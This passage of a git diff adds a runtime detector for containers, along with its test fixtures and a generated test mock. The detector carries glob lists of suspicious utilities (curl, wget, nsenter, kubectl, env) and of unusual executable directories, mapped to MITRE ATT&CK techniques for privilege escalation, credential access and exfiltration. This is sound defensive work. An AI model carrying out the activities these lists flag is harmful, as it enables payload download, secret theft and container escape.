null, + "history_event": { + "severity": "HIGH", + "is_threat": true + } + } +} diff --git a/event-processor/detector/wasm/CS_RT_SUSP_TOOLS/main.go b/event-processor/detector/wasm/CS_RT_SUSP_TOOLS/main.go new file mode 100644 index 00000000..dad8cdbe --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_SUSP_TOOLS/main.go @@ -0,0 +1,470 @@ +//go:build tinygo.wasm + +package main + +import ( + "context" + "fmt" + "strings" + + "github.com/gobwas/glob" + "github.com/runtime-radar/runtime-radar/event-processor/detector/api" + "github.com/runtime-radar/runtime-radar/event-processor/detector/api/tetragon" +) + +const ( + ID = "CS_RT_SUSP_TOOLS" + Name = "Start of suspicious utilities and executable files" + Description = "The detector detects if suspicious system utilities were started and files were executed from potentially harmful directories (for example, /tmp, /sys, or /boot). Such activity may indicate an attempt to carry out an LOLBins attack as well as execution of malicious code loaded by an attacker." + Version = 1 + Author = "Runtime Radar Team" + License = "Apache License 2.0" +) + +const ( + ExecPrivilegesNoArgs = "Detected a suspicious start of the privilege management utility `%s`" + ExecPrivilegesDefault = "Detected a suspicious start of the privilege management utility `%s` with the `%s` arguments" + ExecNetworkNoArgs = "Detected a suspicious start of the network utility `%s`" + ExecNetworkDefault = "Detected a suspicious start of the network utility `%s` with the `%s` arguments" + ExecSoftwareNoArgs = "Detected a suspicious start of the package and application installation utility `%s`" + ExecSoftwareDefault = "Detected a suspicious start of the package and application installation utility `%s` with the `%s` arguments" + ExecDownloadNoArgs = "Detected a suspicious start of the file downloading utility `%s`" + ExecDownloadDefault = "Detected a suspicious start of the file downloading utility `%s` with the `%s` arguments" + ExecContainersNoArgs = "Detected a suspicious start of the utility `%s` designed for exploiting the container infrastructure" + ExecContainersDefault = "Detected a suspicious start of the utility `%s` designed for exploiting the container infrastructure with the `%s` arguments" + ExecEnvironNoArgs = "Detected a suspicious start of the utility `%s` designed for obtaining environment variables" + ExecEnvironDefault = "Detected a suspicious start of the utility `%s` designed for obtaining environment variables with the `%s` arguments" + ExecNohupNoArgs = "Detected a suspicious start of the utility `%s` designed for ignoring process termination signals" + ExecNohupDefault = "Detected a suspicious start of the utility `%s` designed for ignoring process termination signals with the `%s` arguments" + ExecMiscNoArgs = "Detected a suspicious start of the `%s` utility" + ExecMiscDefault = "Detected a suspicious start of the `%s` utility with the `%s` arguments" + ExecSuspDirsNoArgs = "Detected a suspicious start of the executable file `%s` from the `%s` directory, which does not contain executable files" + ExecSuspDirsDefault = "Detected a suspicious start of the executable file `%s` with the `%s` arguments from the `%s` directory, which does not contain executable files" + ExecNohupChildNoArgs = "Detected a suspicious start of the `%s` process by the nohup parent process to ignore process termination signals" + ExecNohupChildDefault = "Detected a suspicious start of the `%s` process with the `%s` arguments by the nohup parent process to ignore process termination signals" +) + +var ( + // triggerCriteria sets Trigger Criteria as map of events types to corresponding functions + // which will be used by Detector. If function names are not applicable for + // a particular event type, such as "PROCESS_EXEC", leave slice empty or use + // wildcard "*". + triggerCriteria = map[string][]string{ + "PROCESS_EXEC": {}, + + // Examples: + // + // "PROCESS_KPROBE": {"security_file_permission", "security_mmap_file", "security_path_truncate"}, + // In order to process all possible functions leave right-hand part empty or use wildcard "*": + // "PROCESS_EXEC": {}, + // same as: + // "PROCESS_EXEC": {"*"}, + } +) + +var ( + mitreTactics = []*api.MitreTactic{ + { + Id: "TA0002", + Techniques: []string{ + "T1609", + "T1053.007", + }, + }, + { + Id: "TA0003", + Techniques: []string{ + "T1098.006", + "T1543.005", + "T1053.007", + }, + }, + { + Id: "TA0004", + Techniques: []string{ + "T1098.006", + "T1543.005", + "T1611", + "T1068", + "T1053.007", + }, + }, + { + Id: "TA0005", + Techniques: []string{ + "T1564.011", + }, + }, + { + Id: "TA0006", + Techniques: []string{ + "T1552.007", + }, + }, + { + Id: "TA0007", + Techniques: []string{ + "T1613", + "T1016.001", + "T1049", + "T1033", + }, + }, + { + Id: "TA0008", + Techniques: []string{ + "T1570", + }, + }, + { + Id: "TA0010", + Techniques: []string{ + "T1048.001", + "T1048.002", + "T1048.003", + }, + }, + { + Id: "TA0011", + Techniques: []string{ + "T1105", + }, + }, + } + + mitreTacticsPrivileges = []*api.MitreTactic{ + { + Id: "TA0007", + Techniques: []string{ + "T1033", + }, + }, + } + + mitreTacticsDownload = []*api.MitreTactic{ + { + Id: "TA0007", + Techniques: []string{ + "T1016.001", + }, + }, + { + Id: "TA0008", + Techniques: []string{ + "T1570", + }, + }, + { + Id: "TA0010", + Techniques: []string{ + "T1048.001", + "T1048.002", + "T1048.003", + }, + }, + { + Id: "TA0011", + Techniques: []string{ + "T1105", + }, + }, + } + + mitreTacticsNetwork = []*api.MitreTactic{ + { + Id: "TA0007", + Techniques: []string{ + "T1016.001", + "T1049", + }, + }, + } + + mitreTacticsContainers = []*api.MitreTactic{ + { + Id: "TA0002", + Techniques: []string{ + "T1609", + "T1053.007", + }, + }, + { + Id: "TA0003", + Techniques: []string{ + "T1098.006", + "T1543.005", + "T1053.007", + }, + }, + { + Id: "TA0004", + Techniques: []string{ + "T1098.006", + "T1543.005", + "T1611", + "T1068", + "T1053.007", + }, + }, + { + Id: "TA0006", + Techniques: []string{ + "T1552.007", + }, + }, + { + Id: "TA0007", + Techniques: []string{ + "T1613", + }, + }, + } + + mitreTacticsNohup = []*api.MitreTactic{ + { + Id: "TA0005", + Techniques: []string{ + "T1564.011", + }, + }, + } +) + +type suspiciousTool struct { + pattern glob.Glob + class string +} + +var ( + suspiciousTools = []suspiciousTool{ + // sudo and su a rarely used in runtime, containers are either rooted or rootless with no need to escalate privileges for a normal user. + {pattern: glob.MustCompile("*/sudo"), class: "Privileges"}, + {pattern: glob.MustCompile("*/su"), class: "Privileges"}, + {pattern: glob.MustCompile("*/id"), class: "Privileges"}, + {pattern: glob.MustCompile("*/whoami"), class: "Privileges"}, + + // Network tools rarely used in containers + {pattern: glob.MustCompile("*/arp"), class: "Network"}, + {pattern: glob.MustCompile("*/ifconfig"), class: "Network"}, + {pattern: glob.MustCompile("*/ip"), class: "Network"}, + {pattern: glob.MustCompile("*/netstat"), class: "Network"}, + {pattern: glob.MustCompile("*/ss"), class: "Network"}, + + // Usually required packets and applications installed during image build stage, otherwise suspicious + {pattern: glob.MustCompile("*/apk"), class: "Software"}, + {pattern: glob.MustCompile("*/apt"), class: "Software"}, + {pattern: glob.MustCompile("*/apt-get"), class: "Software"}, + {pattern: glob.MustCompile("*/dnf"), class: "Software"}, + {pattern: glob.MustCompile("*/dpkg"), class: "Software"}, + {pattern: glob.MustCompile("*/git"), class: "Software"}, + {pattern: glob.MustCompile("*/git-remote-*"), class: "Software"}, + {pattern: glob.MustCompile("*/rpm"), class: "Software"}, + {pattern: glob.MustCompile("*/svn"), class: "Software"}, + {pattern: glob.MustCompile("*/yum"), class: "Software"}, + + // Download tools + {pattern: glob.MustCompile("*/curl"), class: "Download"}, + {pattern: glob.MustCompile("*/ftp"), class: "Download"}, + {pattern: glob.MustCompile("*/sftp"), class: "Download"}, + {pattern: glob.MustCompile("*/sftp-server"), class: "Download"}, + {pattern: glob.MustCompile("*/wget"), class: "Download"}, + + // Containers and namespace tools + {pattern: glob.MustCompile("*/crictl"), class: "Containers"}, + {pattern: glob.MustCompile("*/docker"), class: "Containers"}, + {pattern: glob.MustCompile("*/kubeadm"), class: "Containers"}, + {pattern: glob.MustCompile("*/kubectl"), class: "Containers"}, + {pattern: glob.MustCompile("*/nsenter"), class: "Containers"}, + {pattern: glob.MustCompile("*/podman"), class: "Containers"}, + {pattern: glob.MustCompile("*/unshare"), class: "Containers"}, + + // Environment variables + {pattern: glob.MustCompile("*/env"), class: "Environ"}, + {pattern: glob.MustCompile("*/printenv"), class: "Environ"}, + + // Nohup + {pattern: glob.MustCompile("*/nohup"), class: "Nohup"}, + + // Miscellaneous + {pattern: glob.MustCompile("*/dd"), class: "Misc"}, + } + + // Directories that normally do not contain binaries. + suspDirs = []glob.Glob{ + glob.MustCompile("/boot/*"), + glob.MustCompile("/dev/*"), + glob.MustCompile("/home/*"), + glob.MustCompile("/media/*"), + glob.MustCompile("/mnt/*"), + glob.MustCompile("/run/*"), + glob.MustCompile("/srv/*"), + glob.MustCompile("/sys/*"), + glob.MustCompile("/tmp/*"), + glob.MustCompile("/var/*"), + } + + nohupBin = glob.MustCompile(`*/nohup`) +) + +// init is required for TinyGo to compile to Wasm. +func init() { + api.RegisterDetector(Detector{}) +} + +type Detector struct{} + +func (d Detector) Info(ctx context.Context, req *api.InfoReq) (*api.InfoResp, error) { + return &api.InfoResp{ + Id: ID, + Name: Name, + Description: Description, + Version: Version, + Author: Author, + License: License, + TacticsCovered: mitreTactics, + }, nil +} + +func (d Detector) TriggerCriteria(ctx context.Context, req *api.TriggerCriteriaReq) (*api.TriggerCriteriaResp, error) { + resp := &api.TriggerCriteriaResp{ + Criteria: make(map[string]*api.TriggerCriteriaResp_FuncNames, len(triggerCriteria)), + } + + for k, v := range triggerCriteria { + resp.Criteria[k] = &api.TriggerCriteriaResp_FuncNames{FuncNames: v} + } + + return resp, nil +} + +func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectResp, error) { + // Detector info added to DetectResp because detector info is always correlated to response, thus + // to avoid +1 Wasm call on detect. + resp := &api.DetectResp{ + // Default response indicates that nothing detected (this is redundant and put here just for reference, + // as Severity == api.DetectResp_NONE == 0 when omitted (default zero value)). + Severity: api.DetectResp_NONE, + } + + event := req.GetEvent().GetEvent() + + switch ev := event.(type) { + case *tetragon.GetEventsResponse_ProcessExec: + exec := ev.ProcessExec + binary := exec.GetProcess().GetBinary() + args := exec.GetProcess().GetArguments() + parentBinary := exec.GetParent().GetBinary() + + // Trigger on binary if its parent binary is nohup + if nohupBin.Match(parentBinary) && (args == "") { + resp.TacticsCovered = mitreTacticsNohup + resp.Reason = fmt.Sprintf(ExecNohupChildNoArgs, binary) + resp.Severity = api.DetectResp_MEDIUM // <-- threat detected + + return resp, nil + } else if nohupBin.Match(parentBinary) { + resp.TacticsCovered = mitreTacticsNohup + resp.Reason = fmt.Sprintf(ExecNohupChildDefault, binary, args) + resp.Severity = api.DetectResp_MEDIUM // <-- threat detected + + return resp, nil + } + + // Trigger on process from suspicious directories + for _, dir := range suspDirs { + binDir := binary[0 : strings.LastIndex(binary, "/")+1] + if dir.Match(binary) && (args == "") { + resp.TacticsCovered = mitreTactics + resp.Reason = fmt.Sprintf(ExecSuspDirsNoArgs, binary, binDir) + resp.Severity = api.DetectResp_MEDIUM // <-- threat detected + + return resp, nil + } else if dir.Match(binary) { + resp.TacticsCovered = mitreTactics + resp.Reason = fmt.Sprintf(ExecSuspDirsDefault, binary, args, binDir) + resp.Severity = api.DetectResp_MEDIUM // <-- threat detected + + return resp, nil + } + } + + for _, tool := range suspiciousTools { + if !tool.pattern.Match(binary) { + continue + } + switch { + case (tool.class == "Privileges") && (args == ""): + resp.TacticsCovered = mitreTacticsPrivileges + resp.Reason = fmt.Sprintf(ExecPrivilegesNoArgs, binary) + case (tool.class == "Privileges") && (args != ""): + resp.TacticsCovered = mitreTacticsPrivileges + resp.Reason = fmt.Sprintf(ExecPrivilegesDefault, binary, args) + case (tool.class == "Network") && (args == ""): + resp.TacticsCovered = mitreTacticsNetwork + resp.Reason = fmt.Sprintf(ExecNetworkNoArgs, binary) + case (tool.class == "Network") && (args != ""): + resp.TacticsCovered = mitreTacticsNetwork + resp.Reason = fmt.Sprintf(ExecNetworkDefault, binary, args) + case (tool.class == "Software") && (args == ""): + resp.TacticsCovered = mitreTactics + resp.Reason = fmt.Sprintf(ExecSoftwareNoArgs, binary) + case (tool.class == "Software") && (args != ""): + resp.TacticsCovered = mitreTactics + resp.Reason = fmt.Sprintf(ExecSoftwareDefault, binary, args) + case (tool.class == "Download") && (args == ""): + resp.TacticsCovered = mitreTacticsDownload + resp.Reason = fmt.Sprintf(ExecDownloadNoArgs, binary) + case (tool.class == "Download") && (args != ""): + resp.TacticsCovered = mitreTacticsDownload + resp.Reason = fmt.Sprintf(ExecDownloadDefault, binary, args) + case (tool.class == "Containers") && (args == ""): + resp.TacticsCovered = mitreTacticsContainers + resp.Reason = fmt.Sprintf(ExecContainersNoArgs, binary) + case (tool.class == "Containers") && (args != ""): + resp.TacticsCovered = mitreTacticsContainers + resp.Reason = fmt.Sprintf(ExecContainersDefault, binary, args) + case (tool.class == "Environ") && (args == ""): + resp.TacticsCovered = mitreTactics + resp.Reason = fmt.Sprintf(ExecEnvironNoArgs, binary) + case (tool.class == "Environ") && (args != ""): + resp.TacticsCovered = mitreTactics + resp.Reason = fmt.Sprintf(ExecEnvironDefault, binary, args) + case (tool.class == "Nohup") && (args == ""): + resp.TacticsCovered = mitreTacticsNohup + resp.Reason = fmt.Sprintf(ExecNohupNoArgs, binary) + case (tool.class == "Nohup") && (args != ""): + resp.TacticsCovered = mitreTacticsNohup + resp.Reason = fmt.Sprintf(ExecNohupDefault, binary, args) + case (tool.class == "Misc") && (args == ""): + resp.TacticsCovered = mitreTactics + resp.Reason = fmt.Sprintf(ExecMiscNoArgs, binary) + case (tool.class == "Misc") && (args != ""): + resp.TacticsCovered = mitreTactics + resp.Reason = fmt.Sprintf(ExecMiscDefault, binary, args) + } + resp.Severity = api.DetectResp_LOW // <-- threat detected + + return resp, nil + } + + return resp, nil + + case *tetragon.GetEventsResponse_ProcessExit: + // Nothing here + case *tetragon.GetEventsResponse_ProcessKprobe: + // Nothing here + case *tetragon.GetEventsResponse_ProcessTracepoint: + // Nothing here + } + + return resp, nil +} + +// tacticTechniques is a constructor for *api.MitreTactic which makes its initialization less verbose. +func tacticTechniques(tacticID string, techniqueIDs ...string) *api.MitreTactic { + return &api.MitreTactic{ + Id: tacticID, + Techniques: techniqueIDs, + } +} + diff --git a/event-processor/detector/wasm/CS_RT_SUSP_TOOLS/testdata/negative_benign_binary.json b/event-processor/detector/wasm/CS_RT_SUSP_TOOLS/testdata/negative_benign_binary.json new file mode 100644 index 00000000..62ce2bb4 --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_SUSP_TOOLS/testdata/negative_benign_binary.json @@ -0,0 +1,28 @@ +{ + "event": { + "process_exec": { + "process": { + "pid": 12345, + "binary": "/usr/bin/cat", + "arguments": "/etc/hostname" + }, + "parent": { + "pid": 1, + "binary": "/sbin/init", + "arguments": "" + } + }, + "node_name": "test-node", + "time": "2025-07-28T13:34:05.422534198Z" + }, + "policy_response": null, + "expect": { + "policy_call": null, + "kill_pod_call": null, + "notify_call": null, + "history_event": { + "severity": "", + "is_threat": false + } + } +} diff --git a/event-processor/detector/wasm/CS_RT_SUSP_TOOLS/testdata/positive_sudo_exec.json b/event-processor/detector/wasm/CS_RT_SUSP_TOOLS/testdata/positive_sudo_exec.json new file mode 100644 index 00000000..d4cf209f --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_SUSP_TOOLS/testdata/positive_sudo_exec.json @@ -0,0 +1,254 @@ +{ + "event": { + "process_exec": { + "process": { + "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjMyODcxMzAxODE0NzIwMTU6MTcxMzg1MA==", + "pid": 1713850, + "uid": 0, + "cwd": "/", + "binary": "/usr/bin/sudo", + "arguments": "-i", + "flags": "execve rootcwd clone", + "start_time": "2024-03-22T12:19:16.974922315Z", + "auid": 4294967295, + "pod": { + "namespace": "default", + "name": "test-pod-debian", + "container": { + "id": "cri-o://332cff0fb99f03f8b4fb9633f245ba21ad43339eeafd3b0ac3e5d9a38371262c", + "name": "test-pod-debian", + "image": { + "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", + "name": "docker.io/library/debian:12.2-slim" + }, + "start_time": "2024-02-27T13:26:02Z", + "pid": 60345, + "maybe_exec_probe": false + }, + "pod_labels": {}, + "workload": "test-pod-debian", + "workload_kind": "Pod" + }, + "docker": "332cff0fb99f03f8b4fb9633f245ba2", + "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjMyODY1NjA1MDI5Mzg4NDQ6MTcwODI4Mg==", + "refcnt": 0, + "cap": { + "permitted": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE" + ], + "effective": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE" + ], + "inheritable": [] + }, + "ns": { + "uts": { + "inum": 4026534978, + "is_host": false + }, + "ipc": { + "inum": 4026534979, + "is_host": false + }, + "mnt": { + "inum": 4026535073, + "is_host": false + }, + "pid": { + "inum": 4026535074, + "is_host": false + }, + "pid_for_children": { + "inum": 4026535074, + "is_host": false + }, + "net": { + "inum": 4026534980, + "is_host": false + }, + "time": { + "inum": 4026531834, + "is_host": true + }, + "time_for_children": { + "inum": 4026531834, + "is_host": true + }, + "cgroup": { + "inum": 4026535075, + "is_host": false + }, + "user": { + "inum": 4026531837, + "is_host": true + } + }, + "tid": 1713850, + "process_credentials": { + "uid": 0, + "gid": 0, + "euid": 0, + "egid": 0, + "suid": 0, + "sgid": 0, + "fsuid": 0, + "fsgid": 0, + "securebits": [], + "caps": null, + "user_ns": null + }, + "binary_properties": null + }, + "parent": { + "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjMyODY1NjA1MDI5Mzg4NDQ6MTcwODI4Mg==", + "pid": 1708282, + "uid": 0, + "cwd": "/", + "binary": "/usr/bin/bash", + "arguments": "", + "flags": "execve rootcwd", + "start_time": "2024-03-22T12:09:47.296389046Z", + "auid": 4294967295, + "pod": { + "namespace": "default", + "name": "test-pod-debian", + "container": { + "id": "cri-o://332cff0fb99f03f8b4fb9633f245ba21ad43339eeafd3b0ac3e5d9a38371262c", + "name": "test-pod-debian", + "image": { + "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", + "name": "docker.io/library/debian:12.2-slim" + }, + "start_time": "2024-02-27T13:26:02Z", + "pid": 60319, + "maybe_exec_probe": false + }, + "pod_labels": {}, + "workload": "test-pod-debian", + "workload_kind": "Pod" + }, + "docker": "332cff0fb99f03f8b4fb9633f245ba2", + "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjMyODY1NjA1MDE4MjQ1Mjc6MTcwODI4Mg==", + "refcnt": 0, + "cap": { + "permitted": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE" + ], + "effective": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE" + ], + "inheritable": [] + }, + "ns": { + "uts": { + "inum": 4026534978, + "is_host": false + }, + "ipc": { + "inum": 4026534979, + "is_host": false + }, + "mnt": { + "inum": 4026535073, + "is_host": false + }, + "pid": { + "inum": 4026535074, + "is_host": false + }, + "pid_for_children": { + "inum": 4026535074, + "is_host": false + }, + "net": { + "inum": 4026534980, + "is_host": false + }, + "time": { + "inum": 4026531834, + "is_host": true + }, + "time_for_children": { + "inum": 4026531834, + "is_host": true + }, + "cgroup": { + "inum": 4026535075, + "is_host": false + }, + "user": { + "inum": 4026531837, + "is_host": true + } + }, + "tid": 1708282, + "process_credentials": { + "uid": 0, + "gid": 0, + "euid": 0, + "egid": 0, + "suid": 0, + "sgid": 0, + "fsuid": 0, + "fsgid": 0, + "securebits": [], + "caps": null, + "user_ns": null + }, + "binary_properties": null + } + }, + "node_name": "experts-k8s-ptcs", + "time": "2024-03-22T12:19:16.974922129Z", + "aggregation_info": null + }, + "policy_response": null, + "expect": { + "policy_call": { + "detector_id": "CS_RT_SUSP_TOOLS", + "severity": "LOW", + "reason_contains": "privilege management utility", + "tactics": [ + "TA0007" + ] + }, + "kill_pod_call": null, + "notify_call": null, + "history_event": { + "severity": "LOW", + "is_threat": true + } + } +} diff --git a/event-processor/docker-compose.test.yml b/event-processor/docker-compose.test.yml index a985c639..aac7b6c0 100644 --- a/event-processor/docker-compose.test.yml +++ b/event-processor/docker-compose.test.yml @@ -1,9 +1,23 @@ services: + postgres: + extends: + file: ../docker-compose.test.yml + service: postgres + + rabbitmq: + extends: + file: ../docker-compose.test.yml + service: rabbitmq + test: extends: file: ../docker-compose.test.yml service: test - depends_on: {} + depends_on: + postgres: + condition: service_healthy + rabbitmq: + condition: service_healthy environment: - COMPONENT=event-processor diff --git a/event-processor/migrations/postgres/00001_initial_schema.sql b/event-processor/migrations/postgres/00001_initial_schema.sql index afb2dffa..031836c0 100644 --- a/event-processor/migrations/postgres/00001_initial_schema.sql +++ b/event-processor/migrations/postgres/00001_initial_schema.sql @@ -23,6 +23,7 @@ CREATE TABLE IF NOT EXISTS detectors ( license text, wasm_binary bytea, wasm_hash text, + tactics_covered jsonb, PRIMARY KEY (id, version) ); diff --git a/event-processor/pkg/client/notifier.go b/event-processor/pkg/client/notifier.go index 8a8c961f..ac34d585 100644 --- a/event-processor/pkg/client/notifier.go +++ b/event-processor/pkg/client/notifier.go @@ -1,5 +1,7 @@ package client +//go:generate minimock -i github.com/runtime-radar/runtime-radar/notifier/api.NotifierClient -o ./notifier_mock.go -n NotifierClientMock -g + import ( "crypto/tls" diff --git a/event-processor/pkg/client/notifier_mock.go b/event-processor/pkg/client/notifier_mock.go new file mode 100644 index 00000000..0f1fce64 --- /dev/null +++ b/event-processor/pkg/client/notifier_mock.go @@ -0,0 +1,449 @@ +// Code generated by http://github.com/gojuno/minimock (v3.4.7). DO NOT EDIT. + +package client + +import ( + context "context" + "sync" + mm_atomic "sync/atomic" + mm_time "time" + + "github.com/gojuno/minimock/v3" + mm_api "github.com/runtime-radar/runtime-radar/notifier/api" + grpc "google.golang.org/grpc" + emptypb "google.golang.org/protobuf/types/known/emptypb" +) + +// NotifierClientMock implements mm_api.NotifierClient +type NotifierClientMock struct { + t minimock.Tester + finishOnce sync.Once + + funcNotify func(ctx context.Context, in *mm_api.NotifyReq, opts ...grpc.CallOption) (ep1 *emptypb.Empty, err error) + funcNotifyOrigin string + inspectFuncNotify func(ctx context.Context, in *mm_api.NotifyReq, opts ...grpc.CallOption) + afterNotifyCounter uint64 + beforeNotifyCounter uint64 + NotifyMock mNotifierClientMockNotify +} + +// NewNotifierClientMock returns a mock for mm_api.NotifierClient +func NewNotifierClientMock(t minimock.Tester) *NotifierClientMock { + m := &NotifierClientMock{t: t} + + if controller, ok := t.(minimock.MockController); ok { + controller.RegisterMocker(m) + } + + m.NotifyMock = mNotifierClientMockNotify{mock: m} + m.NotifyMock.callArgs = []*NotifierClientMockNotifyParams{} + + t.Cleanup(m.MinimockFinish) + + return m +} + +type mNotifierClientMockNotify struct { + optional bool + mock *NotifierClientMock + defaultExpectation *NotifierClientMockNotifyExpectation + expectations []*NotifierClientMockNotifyExpectation + + callArgs []*NotifierClientMockNotifyParams + mutex sync.RWMutex + + expectedInvocations uint64 + expectedInvocationsOrigin string +} + +// NotifierClientMockNotifyExpectation specifies expectation struct of the NotifierClient.Notify +type NotifierClientMockNotifyExpectation struct { + mock *NotifierClientMock + params *NotifierClientMockNotifyParams + paramPtrs *NotifierClientMockNotifyParamPtrs + expectationOrigins NotifierClientMockNotifyExpectationOrigins + results *NotifierClientMockNotifyResults + returnOrigin string + Counter uint64 +} + +// NotifierClientMockNotifyParams contains parameters of the NotifierClient.Notify +type NotifierClientMockNotifyParams struct { + ctx context.Context + in *mm_api.NotifyReq + opts []grpc.CallOption +} + +// NotifierClientMockNotifyParamPtrs contains pointers to parameters of the NotifierClient.Notify +type NotifierClientMockNotifyParamPtrs struct { + ctx *context.Context + in **mm_api.NotifyReq + opts *[]grpc.CallOption +} + +// NotifierClientMockNotifyResults contains results of the NotifierClient.Notify +type NotifierClientMockNotifyResults struct { + ep1 *emptypb.Empty + err error +} + +// NotifierClientMockNotifyOrigins contains origins of expectations of the NotifierClient.Notify +type NotifierClientMockNotifyExpectationOrigins struct { + origin string + originCtx string + originIn string + originOpts string +} + +// Marks this method to be optional. The default behavior of any method with Return() is '1 or more', meaning +// the test will fail minimock's automatic final call check if the mocked method was not called at least once. +// Optional() makes method check to work in '0 or more' mode. +// It is NOT RECOMMENDED to use this option unless you really need it, as default behaviour helps to +// catch the problems when the expected method call is totally skipped during test run. +func (mmNotify *mNotifierClientMockNotify) Optional() *mNotifierClientMockNotify { + mmNotify.optional = true + return mmNotify +} + +// Expect sets up expected params for NotifierClient.Notify +func (mmNotify *mNotifierClientMockNotify) Expect(ctx context.Context, in *mm_api.NotifyReq, opts ...grpc.CallOption) *mNotifierClientMockNotify { + if mmNotify.mock.funcNotify != nil { + mmNotify.mock.t.Fatalf("NotifierClientMock.Notify mock is already set by Set") + } + + if mmNotify.defaultExpectation == nil { + mmNotify.defaultExpectation = &NotifierClientMockNotifyExpectation{} + } + + if mmNotify.defaultExpectation.paramPtrs != nil { + mmNotify.mock.t.Fatalf("NotifierClientMock.Notify mock is already set by ExpectParams functions") + } + + mmNotify.defaultExpectation.params = &NotifierClientMockNotifyParams{ctx, in, opts} + mmNotify.defaultExpectation.expectationOrigins.origin = minimock.CallerInfo(1) + for _, e := range mmNotify.expectations { + if minimock.Equal(e.params, mmNotify.defaultExpectation.params) { + mmNotify.mock.t.Fatalf("Expectation set by When has same params: %#v", *mmNotify.defaultExpectation.params) + } + } + + return mmNotify +} + +// ExpectCtxParam1 sets up expected param ctx for NotifierClient.Notify +func (mmNotify *mNotifierClientMockNotify) ExpectCtxParam1(ctx context.Context) *mNotifierClientMockNotify { + if mmNotify.mock.funcNotify != nil { + mmNotify.mock.t.Fatalf("NotifierClientMock.Notify mock is already set by Set") + } + + if mmNotify.defaultExpectation == nil { + mmNotify.defaultExpectation = &NotifierClientMockNotifyExpectation{} + } + + if mmNotify.defaultExpectation.params != nil { + mmNotify.mock.t.Fatalf("NotifierClientMock.Notify mock is already set by Expect") + } + + if mmNotify.defaultExpectation.paramPtrs == nil { + mmNotify.defaultExpectation.paramPtrs = &NotifierClientMockNotifyParamPtrs{} + } + mmNotify.defaultExpectation.paramPtrs.ctx = &ctx + mmNotify.defaultExpectation.expectationOrigins.originCtx = minimock.CallerInfo(1) + + return mmNotify +} + +// ExpectInParam2 sets up expected param in for NotifierClient.Notify +func (mmNotify *mNotifierClientMockNotify) ExpectInParam2(in *mm_api.NotifyReq) *mNotifierClientMockNotify { + if mmNotify.mock.funcNotify != nil { + mmNotify.mock.t.Fatalf("NotifierClientMock.Notify mock is already set by Set") + } + + if mmNotify.defaultExpectation == nil { + mmNotify.defaultExpectation = &NotifierClientMockNotifyExpectation{} + } + + if mmNotify.defaultExpectation.params != nil { + mmNotify.mock.t.Fatalf("NotifierClientMock.Notify mock is already set by Expect") + } + + if mmNotify.defaultExpectation.paramPtrs == nil { + mmNotify.defaultExpectation.paramPtrs = &NotifierClientMockNotifyParamPtrs{} + } + mmNotify.defaultExpectation.paramPtrs.in = &in + mmNotify.defaultExpectation.expectationOrigins.originIn = minimock.CallerInfo(1) + + return mmNotify +} + +// ExpectOptsParam3 sets up expected param opts for NotifierClient.Notify +func (mmNotify *mNotifierClientMockNotify) ExpectOptsParam3(opts ...grpc.CallOption) *mNotifierClientMockNotify { + if mmNotify.mock.funcNotify != nil { + mmNotify.mock.t.Fatalf("NotifierClientMock.Notify mock is already set by Set") + } + + if mmNotify.defaultExpectation == nil { + mmNotify.defaultExpectation = &NotifierClientMockNotifyExpectation{} + } + + if mmNotify.defaultExpectation.params != nil { + mmNotify.mock.t.Fatalf("NotifierClientMock.Notify mock is already set by Expect") + } + + if mmNotify.defaultExpectation.paramPtrs == nil { + mmNotify.defaultExpectation.paramPtrs = &NotifierClientMockNotifyParamPtrs{} + } + mmNotify.defaultExpectation.paramPtrs.opts = &opts + mmNotify.defaultExpectation.expectationOrigins.originOpts = minimock.CallerInfo(1) + + return mmNotify +} + +// Inspect accepts an inspector function that has same arguments as the NotifierClient.Notify +func (mmNotify *mNotifierClientMockNotify) Inspect(f func(ctx context.Context, in *mm_api.NotifyReq, opts ...grpc.CallOption)) *mNotifierClientMockNotify { + if mmNotify.mock.inspectFuncNotify != nil { + mmNotify.mock.t.Fatalf("Inspect function is already set for NotifierClientMock.Notify") + } + + mmNotify.mock.inspectFuncNotify = f + + return mmNotify +} + +// Return sets up results that will be returned by NotifierClient.Notify +func (mmNotify *mNotifierClientMockNotify) Return(ep1 *emptypb.Empty, err error) *NotifierClientMock { + if mmNotify.mock.funcNotify != nil { + mmNotify.mock.t.Fatalf("NotifierClientMock.Notify mock is already set by Set") + } + + if mmNotify.defaultExpectation == nil { + mmNotify.defaultExpectation = &NotifierClientMockNotifyExpectation{mock: mmNotify.mock} + } + mmNotify.defaultExpectation.results = &NotifierClientMockNotifyResults{ep1, err} + mmNotify.defaultExpectation.returnOrigin = minimock.CallerInfo(1) + return mmNotify.mock +} + +// Set uses given function f to mock the NotifierClient.Notify method +func (mmNotify *mNotifierClientMockNotify) Set(f func(ctx context.Context, in *mm_api.NotifyReq, opts ...grpc.CallOption) (ep1 *emptypb.Empty, err error)) *NotifierClientMock { + if mmNotify.defaultExpectation != nil { + mmNotify.mock.t.Fatalf("Default expectation is already set for the NotifierClient.Notify method") + } + + if len(mmNotify.expectations) > 0 { + mmNotify.mock.t.Fatalf("Some expectations are already set for the NotifierClient.Notify method") + } 